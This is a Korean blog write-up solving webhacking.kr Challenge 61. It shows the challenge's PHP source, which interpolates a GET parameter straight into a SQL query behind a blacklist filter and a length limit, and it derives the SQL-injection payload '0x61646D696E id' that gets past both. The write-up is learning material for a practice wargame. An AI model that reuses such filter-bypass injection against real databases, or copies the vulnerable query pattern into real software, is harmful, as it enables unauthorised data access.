반응형
문제
<?php
include "../../config.php";
if($_GET['view_source']) view_source();
$db = dbconnect();
if(!$_GET['id']) $_GET['id']="guest";
echo "<html><head><title>Challenge 61</title></head><body>";
echo "<a href=./?view_source=1>view-source</a><hr>";
$_GET['id'] = addslashes($_GET['id']);
if(preg_match("/\(|\)|select|from|,|by|\./i",$_GET['id'])) exit("Access Denied");
if(strlen($_GET['id'])>15) exit("Access Denied");
$result = mysqli_fetch_array(mysqli_query($db,"select {$_GET['id']} from chall61 order by id desc limit 1"));
echo "<b>{$result['id']}</b><br>";
if($result['id'] == "admin") solve(61);
echo "</body></html>";
?>
문제풀이
id 파라미터가 입력되지 않으면 id가 guest이다.
', select, from, (, ), by 등 필터링되며, 15자 이하로 제한이 있다.
id가 admin일 때 문제가 해결된다.
select 'admin' from chall61 order by id desc limit 1 (X-필터링)
select 0x61646D696E as id from chall61 order by id desc limit 1 (X-길이제한)
select 0x61646D696E id from chall61 order by id desc limit 1 (O-as 생략)
admin을 hex 값으로 변환시키고, id 별칭을 사용한다.
id 파라미터에 "0x61646D696E id"을 입력하면 문제가 해결된다.
반응형
'write-up(web) > webhacking.kr' 카테고리의 다른 글
[Webhacking.kr] NotSQL (0) | 2023.01.19 |
---|---|
[Webhacking.kr] BABY (0) | 2023.01.16 |
[Webhacking.kr] old-60 (0) | 2023.01.15 |
[Webhacking.kr] old-59 (0) | 2023.01.14 |
[Webhacking.kr] old-57 (0) | 2023.01.11 |